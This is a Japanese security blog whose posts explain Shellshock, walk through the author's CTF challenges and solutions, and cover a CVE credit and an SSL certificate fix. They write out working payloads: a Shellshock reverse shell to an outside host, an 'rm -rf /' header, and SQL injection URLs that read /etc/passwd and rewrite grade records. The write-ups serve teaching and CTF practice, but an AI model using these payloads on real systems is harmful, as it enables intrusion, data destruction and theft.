CVE-2015-0014について (あるいは自慢話)
登氏とわたしが報告したWindows Telnetに関する脆弱性に、 CVE-2015-0014 (およびMS15-002) というIDが割り振られました。
この脆弱性はWindows Telnetにおけるバッファオーバーフローに関するもので、登氏が同プログラムの不穏な挙動を発見し、そのエクスプロイトコードをわたしが作ってMicrosoftに報告したというかんじです。 今どきのOSにはASLRが積んであるのでドエラいことをするためには工夫が要るのですが、XPやServer 2003などには死をもたらすことができたので、結構アレゲな脆弱性です。
Microsoft TechNetに掲載された謝辞がこちらになります。
いよいよ名前が世界に知らしめられてしまいました。自分が発見に関わった脆弱性にCVE IDが付いたことですし、もしかするとこれでわたしもプロハッカーの仲間入りを果たしてしまったのかもしれないのですが、仕事というものが滅法苦手なわたしはたぶんこれからもバグハンターという狩猟生活を、自分の気の向くままにやるにとどまるでしょう。
そんなことより山にこもりたいと考えている今日この頃です。この山小屋がほしい。 https://suumo.jp/jj/bukken/shosai/JJ012FD010/?ar=040&bs=021&nc=83826542&suit=nsuusbsp20121129001
bashの脆弱性がヤバすぎる件
やっと更新する気になった。
もくじ
- 0. 産業で説明
- 1. 理論編
- 2. 攻撃編
- 3. パッチ
- 4. 結論
0. 産業で説明
bashが アホで 地球がヤバイ
1. 理論編
bashの関数機能は、環境変数の中でも使える仕様になっています。
今回問題となったのは、関数に任意のコマンドを続けて環境変数に入力すると、コマンドが勝手に実行されてしまうということです。この脆弱性にはCVE-2014-6271というIDと、Shell Shock
というニックネームがつけられました。
2. 攻撃編
なんでもいいのでLinuxホストのターミナルでこんなコマンドを打ってみましょう:
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
もし出力の中にmanuke
が含まれていたら、そのホストは今回発表された脆弱性に対して危険な状態です。
もうちょっとゾクッと来る例を紹介しましょう。
Gitoliteなど、シェルを提供しないという条件付きでSSHの接続を受け付けるタイプのアプリケーションがありますが、この脆弱性を突くと、シェルを与えていないユーザに好き放題されてしまうかもしれません。
あるGitoliteサーバ (gitolite.example.com) にアカウントを持っている攻撃者が自分のホストから
$ ssh [email protected] '() { :; }; /usr/bin/id'
というコマンドを発射します。そして、
uid=108(git) gid=114(git) groups=114(git)
と返ってくると、攻撃は成功です。
$ ssh [email protected] '() { :; }; bash -i >& /dev/tcp/203.0.113.1/4444 0>&1'
というコマンドを撃てば、203.0.113.1:4444
にリバースシェルが降ってきますね(*1)。
もうひとつヤバい例を挙げましょう。CGIです。
CGIにおけるアタックベクタは、環境変数に格納されるパラメータです。
system()
や類似の関数を用いたCGIスクリプトは、OSコマンド実行のためにbashを呼び出しているかもしれません。
CGIはパラメータを環境変数として格納しています(*2)から、HTTPリクエストヘッダをいじって
User-Agent: () { :; }; rm -rf /
とかやるとゾクゾクするかもしれません。わたしは実証していませんが。
3. パッチ
Ubuntu 12.04.5 LTSでは既にパッケージマネージャによって緊急アップデートが提供されていることを確認しました。その他のディストリビューションでもたぶんパッチが提供されていますが、そうでなければ http://seclists.org/oss-sec/2014/q3/650 こちらに掲載されている、bashのバージョンに適したパッチを使用しましょう。
bashのソースコードとパッチを読んで、どういうコードからこの脆弱性が生まれたか読み解いてみるのも勉強になりますね。
4. 結論
コワイ!
*1: この例はUbuntu 12.04.1 LTSで実証しました。この方法が使えなくてもNetcatやPerlなど、リバースシェルを引っ張る方法はいくらでもあります。
*2: 例: ユーザエージェント→HTTP_USER_AGENT
セキュリティ・ミニキャンプ in 会津 へ行ってきました
夕飯食ったら書く。
年越しCTF x86-64.jp大会 2014 を開催しました
あけましておめでとうございます。くりすです。今年もよろしくお願いします。
さて、年越しCTF x86-64.jp大会 2014 なるイベントを開催しましたが、参加者のみなさま、お楽しみいただけましたでしょうか?
以下に、年越しCTF x86-64.jp大会 2014 問題の解説記事を記します。
もくじ
- ルール説明
- 問題解説
- 第1段階 - Webアプリケーション
- 第2段階 - サーバへの侵入
- 第3段階 - パスワード付きzipへの攻撃
- 優勝者紹介
- 苦労話その他エピソード等
1. ルール説明
はじめに、ルールをおさらいします。
ルールは簡単。ターゲットサーバ最深部にあるキーを入手し、提出するだけ。あらゆる手を尽くして構いません。
楽勝そうですね。では、いってみましょう。
2. 問題解説
第1段階 - Webアプリケーション
ルール説明に従ってhttp://target.ctf.x86-64.jp/
にアクセスすると、「ほげ大学科目データベース」と称する、ネーミングが適当な大学の科目紹介ページに到着します。このページはPythonのFlaskというマイクロフレームワークを使って作られております。
さて、いくつかページ上のリンクをたどってみます。
http://target.ctf.x86-64.jp/show/GB10114
線形代数Iに関する科目説明が現れる
http://target.ctf.x86-64.jp/show/GB11911
データ構造とアルゴリズムに関する科目説明が現れる
といったふうに、URLのパスを直接パラメータとして扱っているようです。ここにSQLインジェクションを仕掛けてみましょう。
- まずは、UNION ALL SELECT null攻めをします。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,@@VERSION;--
このように、null
を10個と@@VERSION
を並べてUNIONクエリを発射すると、「備考」欄に5.5.34-0ubuntu0.12.04.1と出現し、SQLインジェクションの成功が確認できます。
- 次に、SQLインジェクションによってどんな操作が行えるか確認しましょう。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,grantee,privilege_type,is_grantable%20FROM%20information_schema.user_privileges;--
こうすると、[email protected]
,FILE
,NO
という応答を得ます。FILE権限があるようですね。ローカルファイルインジェクションをやってみましょう。
- /etc/nginx/nginx.conf をMySQL経由で読み取ってみましょう。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f6e67696e782e636f6e66);--
こうすると、/etc/nginx/nginx.conf
を引っ張りだすことができます*1。LOAD_FILE()
の引数が16進数なのは、ASCIIのスラッシュが含まれるとパスと認識されて404 Not Foundという結果になってしまうからです。 その結果、nginx.conf
が備考欄に見事に出力され、/etc/nginx/conf.d/ctf.conf
というファイルをインクルードしていることを暴露します。
- /etc/nginx/conf.d/ctf.conf をMySQL経由で読み取る
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f6374662e636f6e66);--
これにより、nginxで/admin
が提供されており、さらに/etc/nginx/conf.d/admin.passwd
の存在を知ります。
- /etc/nginx/conf.d/admin.passwd を読み取り、クラックする
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f61646d696e2e706173737764);--
これにより、admin:$apr1$Zbv59eGR$GoMlmiqujrkVOgm8QbMcL/
を得ます。John The Ripperでも使えばクラックできます。ちなみに、パスワードはmanuke
です。
2. サーバへの侵入
これで、 http://target.ctf.x86-64.jp/admin
への侵入が完了しました。次は、サーバ自体への侵入を行います。
/admin
は、サーバのファイルシステムの/home/ctf
を表示するファイルマネージャです。ご丁寧にドットファイル系もばっちり表示してくれるので簡単ですね。.bash_history
(途中で問題都合で.zsh_history
になりました) を開きましょう。
wget https://www.dropbox.com/s/************/id_rsa
Dropboxに秘密鍵をアップロードするとかとんだお馬鹿さんですね。問答無用でダウンロードし、使ってみましょう。しかし、どのユーザに対する鍵か分からないし、そもそもこのid_rsaはパスワードがかかっています。
- まずは、id_rsaのパスワードを解きましょう。
よくあるパスワードを試したり、総当たり攻撃でパスワードを暴いたりすればいけます。たとえば、ssh-privkey-crackなるツールがあります*2。 パスワードは
pwned
です。
- 誰に対して使えるキーか、見当をつけましょう。
またSQLインジェクションに戻ります。
http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f706173737764);--
これは、/etc/passwd
を表示するペイロードです。じっくり眺めてみると、chris, ctf-kamokudb, ctf, takashiあたりが狙えそうだということが分かります。
このキーが使えるアカウントは、
ctf
です。
- キーを探しましょう。
/home/ctf
直下には偽物しかないので、どこか別のパスに隠されているはずです。/etc
以下を調べると、/etc/sudoers.bak
という、パーミッション444のファイルが見つかります。大当たりですね。ctf ALL=(takashi) NOPASSWD: /bin/cat ctf ALL=(takashi) NOPASSWD: /bin/ls
たいへんよい。これらの権限を使えば、/home/takashi/Desktop/README.txt
を見つけることは容易です。
このREADME.txtを読みます。
Impressive! You have reached the very depth of this server! FINAL CHALLENGE: The key is right here... https://www.dropbox.com/s/qc7vo2o7ndmqu0n/lolz.zip Download the zip file to your local machine and see what you can do. Good luck!zipファイル中にキーが眠っているようです。
3. パスワード付きzip対する攻撃
先ほどダウンロードしたzipファイルを解凍してみましょう。できませんね。パスワードがかかっています。
でも、心配ご無用。なんとこのzipファイル、js/jquery.js
という、みなさんも容易に手に入れることができるファイルが一緒に保管されているのです。zipファイルの暗号は、選択平文攻撃という攻撃に対して脆弱であることが分かっており、実際に暗号化zipを解読するツールもあります。そのひとつが、pkcrackです。
(わたしがビルドしたときは)ちょっと人力パッチを当てる必要がありましたが、こいつを使えば、どんなに長いパスワードが使われていようと、zipの暗号を30秒ほどで解いてしまうことができるのです。
- クラックの準備をする
zipに対する選択平文攻撃を行うためには、jquery.jsを同じアーカイブ方式、同じファイルシステムでzipに圧縮します。Linuxで
zip jquery.zip jquery.js
を実行すれば大丈夫です。Windowsでやると失敗します。
- クラックする
pkcrack -c js/jquery.js -p jquery.js -C lolz.zip -P ~/jquery.zip -d decrypted-lolz.zip
- 解読されたzipを解凍し、HERE_IS_THE_KEYを読み、キーをsubmitする。
註釈等
*1
本来はAppArmorによって保護されている部分ですが、CTFに供するためにわざと脆弱な設定を施しました。
*2
http://neophob.com/2007/10/ssh-private-key-cracker/
お疲れ様でした。以上が、年越しCTF x86-64.jp大会 2014の全容です。お楽しみいただけましたでしょうか!!
3. 正解者紹介
早着順(敬称略)です。
- superbacker 優勝
- hiromu 第2位
- akiym 第3位
- ucq 第4位
4. 苦労話、与太話
ここまでくるともう書くのだるいから箇条書きで。
.bash_history
や.zsh_history
,~/.ssh/authorized_keys
を消されまくったchattr +i
して対処
- uwsgiがハングした
supervisorctl restart all
をcronで定期的に実行するようにした
/etc/sudoers
を問題に盛り込もうとパーミッションを444にしたら、sudo自体が死んだ/etc/sudoers.bak
で代用
そんな感じですね。パーミッションがらみでミスってて、先にサーバに到達した参加者に妨害工作を受けたりしました。
ここまでのお付き合い、ありがとうございました。SECCON 2013 全国大会で、そしてtkbctf3で、また会いましょう。
The End
第2回tkbctf 問題「The Net」「Police」を作ってみた
EDIT
コード全体を公開しました。ご参考までに。 https://github.com/chris-x86-64/tkbctf2-Police
くりすです。
第2回tkbctfにて、問題「The Net」と、「Police」を担当しました。
- The Net
-
トップ画面右下に「π」の文字がうっすら浮かんでいたのですが、この文字を出現させるCSSは
bootstrap.css
中に定義されていました。そのCSS中に、コメントの形式でフラグの文字列を設置しておりました。通信データを逐一フィルタしていれば、何も知らなくても発見できていたでしょう。
- Police
- 吉村くん(@_yyu_)が原案のJavaScriptを制作し、わたしがその検査器をPythonで書きました。解き方は彼のブログに載せられる予定になっている[要出典]ので、わたしは裏方のタネ明かしをしたいと思います。問題自体の解法は、彼のブログに記事が上がるのを待ちましょう。用語や関数名なども彼のブログで解説されることを願いたい。
問題「Police」に挑戦してくださったみなさんはきっとお気づきかと思いますが、「validation.py
」というPython CGIが、XSS成功時にそのフォームの内容をPOSTで受け取っていました。
これは、バックエンドでユーザが入力したJavaScriptを評価するために、PyV8を用いていたからです。
では、validation.py
の内容(理解を簡単にするために一部簡単にしてあります)を見てみましょう。
#!/usr/bin/env python import PyV8 import cgi, cgitb # check JavaScript class Global(PyV8.JSClass): def isYoshimuraYuu(self): print "That was great!! The key is ... \"hatsuneMiku39\"" def notQuiteDone(self): print "You need to set the `proceedable` to true!" def evalJavaScript(post_data): try: ctxt = PyV8.JSContext(Global()) ctxt.enter() ctxt.eval(open('../public/check.js').read()) ctxt.eval(open('../private/foo.js').read()) ctxt.eval('checkSum(' + repr(post_data) + ')') ctxt.leave() except Exception, e: print "Perhaps syntax error? Try again!" # end JavaScript # CGI form = cgi.FieldStorage() print 'Content-type: text/html' print evalJavaScript(form.getvalue('solution')) # end CGI
ざっくらばんにいうと、皆さんのブラウザにも現れたcheck.js
とfoo.js
(※サーバ上で動かすための多少の改変あり)をロードし、そのJavaScriptに対して、checkSum(ユーザの入力)
を評価するということをしています。
その結果isYoshimuraYuu()
が実行されれば勝ちというわけです。isYoshimuraYuu()
はPythonで定義されていますが、PyV8を使うことでevalしたJavaScriptから呼び出せるので、こういうことができるのです。
こんな変な名前なのは、参加者のブラウザにロードされる諸JavaScriptと名前の衝突を起こさないようにするためです。
つまるところ、foo.js
で定義されたgiveMeTheFlag()
がproceedable == true
の状態のときに実行されると、PythonのisYoshimuraYuu()
が実行される仕組みになっているわけです。
こんな裏方を作っていました。結局、半数の正解者が別解で解いたため、何度か手動検査をやるはめになったのですが。
ZIPファイルに対するKnown Plaintext Attackについて
あやふみ.zipとかいうアレなものができた
— あやふみ (@ayafmy) September 19, 2013
あ、ayafmy.zipはパス付きzipふぁいるデス
— あやふみ (@ayafmy) September 20, 2013
@ayafmy コスプレあやふみ画像集かとおもった
— 大黒PAでバッテリあがらせたマヌケbot (@x86_64) September 20, 2013
@x86_64 だいたいあってないこともない
— あやふみ (@ayafmy) September 20, 2013
あやふみ女史(※男の娘)のコスプレ画像zipがパスワード付きでうpされたらしいです。
さらに、
どうでも良いですが、ayafmy.zipにはこの画像がはいってます http://t.co/iqsuIbHkLA
— あやふみ (@ayafmy) September 20, 2013
ここでピンときた。
"Known Plaintext Attack" だ。
- Known Plaintext Attack
- パスワードを設定して暗号化したPKZIPファイルの中身をある程度知っていると、それをもとにストリームキーを推測してアーカイブ全体を解読できるというもの。
そして、
まあヒントというかそういう事やる人にはつかえる情報かと
— あやふみ (@ayafmy) September 20, 2013
具体的にはふぁぼってきてるくりすさんに飛ばしたつもりです
— あやふみ (@ayafmy) September 20, 2013
名指しで腕を試されている。
やるしかないね。
やってみました。
やっぱ記事書くのめんどくさい。やめた。なお解読はできた模様。
第1回tkbctf 問題「Are these your grades?」を作ってみた
くりすです。
つい先日の5月4日昼から5日朝まで夜通しで「tkbctf」なるハッキングコンテスト、いわゆるCTFが開催されましたが、わたしはそれに1つミッションを提供しました。
それが、「Are these your grades?」です。
あらゆる情報系ダメ学生の夢である、「学校の成績管理システムをハックして、落第をなかったことにする」というのが目標のミッションです。
それでは、以下ネタバレとなります。
ミッション説明
こんにちは。博麗大学のS.Iと申します。 春休みに入り成績が付いたのですが、どうも線形代数Iの成績が芳しくないのです。これを落とすとたいへんなことになってしまいます。 線形代数にF(落第点)が付いているのですが、これをD(及第点ギリギリ)に書き換えてくださいませんか? わたしのログイン情報は 13413983:f.scarlet495 なので、ご参考まで。 どうかお力添えをお願いします。 --- このCTFミッションは、WIDEプロジェクト (http://www.wide.ad.jp) 提供のネットワークにて公開しております。所在地: 筑波大学3F棟230号室 産学間連携推進室 ---
想定していた解答
- 普通にログインする
Subjects
を開くと、URLがindex.pl?mode=subjects&subid=LAI
というふうになる。このsubid
がインジェクションポイントである。
ブラインドインジェクションなので気合ゲー。以下示すSQLクエリの断片は、subid
GETパラメータから注入するSQLインジェクションである。
-
' UNION ALL SELECT null, null, null, null, null, @@VERSION #
とかいったふうに順々にnull
を増やしつつUNION
攻めをすると、null
を5個投入した後にページにバージョン情報が現れるので、SQLインジェクションが有効と分かる。
なお、#
はURLに入ってると「同じページのなんか」という意味を持つので、パラメータで送信するときに%23
でエンコードすること。
- テーブル名をゲットするために、
' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct table_schema separator ', ') FROM information_schema.columns #
というSQLインジェクションを発射する。
GROUP_CONCAT
を使うとと1行に全てのrowsが降ってくるので、今回みたいにページに出現するrowは最初の1行だけという場合に都合がよい。←重要
- この
ctf
とかいうデータベースが怪しいので、覗き見る。' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct TABLE_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf
grades, users, subjects
というテーブルがあることが分かる。grades
が怪しいので中身を見る。' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct COLUMN_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'grades
grades
というテーブルの中には、userid
と、grades_json
というカラムが存在していることが分かった。userid
とそれに対応するgrades_json
を引っ張ってくる。' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades #
grades
から引っ張ってきたuserid
は、既知であるユーザネーム13413983
とは異なり、なんらかのハッシュになっているので、テーブルusers
に13413983
に対応するハッシュが眠っていないか確かめる。' UNION ALL SELECT null, null, null, null, userid, username FROM users WHERE username = '13413983
Note: ユーザネーム13413983
はVARCHAR
型であるので、文字列として取り扱うべきである。根拠は、users
テーブルを覗き見れば、[email protected]
というusername
のアカウントの存在が分かることから明らか。
userid = 896b3697369ab1ca14612120ded84c68
に対応するgrades_json
を引っ張ってくる。' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades WHERE userid = '896b3697369ab1ca14612120ded84c68
- 引っ張ってきたJSONはこうなっている:
[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"F"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
↑これを
[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},中略,{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
↑こうして、
'; UPDATE grades SET grades_json = '[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]' WHERE userid = '896b3697369ab1ca14612120ded84c68' #
↑このように複文構造で
UPDATE
文をインジェクトします。
- 最後に、これをURLエンコードして、
subid
パラメータに叩きこんで、攻略は完了です。http://web400.tkbctf.info/index.pl?mode=subjects&subid=%27%3B%20UPDATE%20grades%20SET%20grades_json%20%3D%20%27%5B%7B%22subject_id%22%3A%22LAI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Linear%20Algebra%20I%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22PHY%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Physics%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22CLI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Calculus%20I%22%2C%22grade%22%3A%22C%22%7D%2C%7B%22subject_id%22%3A%22PGI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Programming%20I%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22MON%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Introduction%20to%20Monty%20Python%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22SLO%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Slacking%20Off%22%2C%22grade%22%3A%22A%22%7D%5D%27%E3%80%80WHERE%20userid%20%3D%20%27896b3697369ab1ca14612120ded84c68%27%20%23
想定外の解法
いやー実はわたしのミスで、上記のように意図的に盛り込んだSQLインジェクションとは異なるセキュリティホールが存在していたのです。
以下はそれらの説明です。といっても、非常に単純な解法となるので説明はほぼ不要でしょう。
http://web400.tkbctf.info/etc/config.yml
に対するアクセス制御が不十分
なんのことはないです。configファイルがwebから閲覧可能な状態になっていたので、ディレクトリを総当り的に漁ったりエラー画面から
config.yml
という設定ファイルの存在を知ったりすれば到達できます。
この中にスコアを獲得するための重要な情報が含まれていました。
http://web400.tkbctf.info/.git/
に対するアクセス制御が不十分
いやこれはひどかったです。ソースコードもろとも丸見えになってしまいました。
gitを使ってwebサービスの開発管理をするときは、.git
ディレクトリの取扱いに気をつけるべきですね。
最良の対策は、「.git
ディレクトリがDocumentRoot
内に存在しないようにする」ことではないでしょうか。
今回のこのミスを通して自分もまたひとつおもしろいことが学べたので、このCTFに出題してよかったと思いました。
正解者に万雷の拍手を
早着順です。(敬称略)
- @superbacker
- ytoku
- ren_hx
- askn2
付録
次のGitHubリポジトリにて、本問題のソースコードを公開する予定です。
まだREADMEが完成していないため未公開ですが、できれば本日中に公開しますので、興味がありましたらご覧ください。
tkbctf1 - Are these your grades?
みなさま、お疲れ様でした!!
SSL中間証明書を改良してAndroidに対応させた
およそ3週間の間多忙で何もアウトプットできていなかったくりすです。
nginx
のSSL証明書をAndroid
上で信頼されないという報告を受けていたのですが、先程対応が完了したのでシェア。
問題
このnginx
上ではRapidSSLを採用しており、その親ベンダはGeoTrust, Inc.であるわけですが、この両者の中間証明書をインストールしないと、一部の端末では証明書が正しく使用できませんでした。
原因
2010年頃からRSA
(1024bit) は暗号強度上の理由から廃止されており、それに伴い諸CA証明書も2048bitに順次入れ替わっております。しかし、これに伴い互換性確保のために中間証明書のインストールが必須となるので、これを正しく設置していない場合SSLエラーが発生するわけです。
気を付けないといけないのは、RapidSSL
の場合はRapidSSL
の中間証明書と、その上位のGeoTrust
の中間証明書の両方が必要であるということです。
対策
RapidSSL
, およびGeoTrust
の中間証明書をそれぞれ入手します。
参考文献の3番目のテキストファイルは、この2つの証明書がバンドルになったものなので、それを引っ張ってくればよいでしょう。$ wget https://knowledge.rapidssl.com/library/VERISIGN/INTERNATIONAL_AFFILIATES/RapidSSL/AR1548/RapidSSLCABundle.txt
- 自分のサーバ用の証明書とこれらを連結します。
# cat /path/to/the/downloaded/RapidSSLCABundle.txt >> /path/to/your/ssl/cert.pem
nginx
を再起動します。# service nginx restart
これだけの手間でしたが、Android 4.0.3
で正常に読み込まれたことを確認しましたので、一安心。
NIST
の文書によると、今年の末までに1024bitのRSA
は廃止され、2048bitに移行するものとされています。
参考文献
- RapidSSLを使うとAndroidで証明書エラーが出た場合 | TechRacho
- RapidSSL - Knowledge Center - SSL Certificates Support
- https://knowledge.rapidssl.com/library/VERISIGN/INTERNATIONAL_AFFILIATES/RapidSSL/AR1548/RapidSSLCABundle.txt
- NIST Special Publication 800-131A - Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths (PDF)